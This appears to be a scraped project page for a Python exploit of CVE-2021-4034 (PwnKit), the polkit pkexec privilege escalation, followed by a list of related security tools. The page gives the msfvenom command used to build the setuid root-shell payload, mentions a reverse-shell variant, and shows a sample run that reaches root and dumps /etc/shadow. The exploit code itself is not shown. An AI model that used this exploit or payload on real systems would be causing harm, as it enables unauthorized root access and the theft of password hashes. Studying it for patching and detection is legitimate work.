Python exploit code for CVE-2021-4034 (pwnkit)

Last update: Dec 29, 2022

Overview

Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.

The default payload starts a shell as root, generated from msfvenom:

msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.

The code is cribbed from blasty, the orginal is available here

$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#

Python exploit code for CVE-2021-4034 (pwnkit)

Related tags

Overview

Owner

Joe Ammond

Recon is a script to perform a full recon on a target with the main tools to search for vulnerabilities.

♻️ Password Generator (PSG) 📚 This plugin is made for more familiarity with Python, but can also be used to create passwords

Fuzz introspector is a tool to help fuzzer developers to get an understanding of their fuzzer’s performance and identify any potential blockers.

Vulnerability Scanner & Auto Exploiter You can use this tool to check the security by finding the vulnerability in your website or you can use this tool to Get Shells

Simple python script for generating custom high-secure passwords for securing your social-apps ❤️

an impacket-dependent script exploiting CVE-2019-1040

Bandit is a tool designed to find common security issues in Python code.

SecurAID securely connects aid organizations directly with individuals in dangerous situations to allow them to discreetly and effectively get the assistance they need.

This python script will automate the testing for the Log4J vulnerability for HTTP and HTTPS connections.

If you are worried about being found perhaps try taking cover under a blanket. Pure Python PowerShell Obfuscator

A python script to bypass 403-forbidden.

🔐 A simple command-line password manager.

Password List Creator Simple !

LinOTP - the open source solution for two factor authentication

This tool ability to analyze software packages of different programming languages that are being or will be used in their codes, providing information that allows them to know in advance if this library complies with processes.

JavaScript Raider is a coverage-guided JavaScript fuzzing framework designed for the v8 JavaScript engine

Acc-Data-Gen - Allows you to generate a password, e-mail & token for your Minecraft Account

Ingest GreyNoise.io malicious feed for CVE-2021-44228 and apply null routes

A quick script to spot the usage of Unicode Bidi (bidirectional) characters that could lead to an Invisible Backdoor

Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading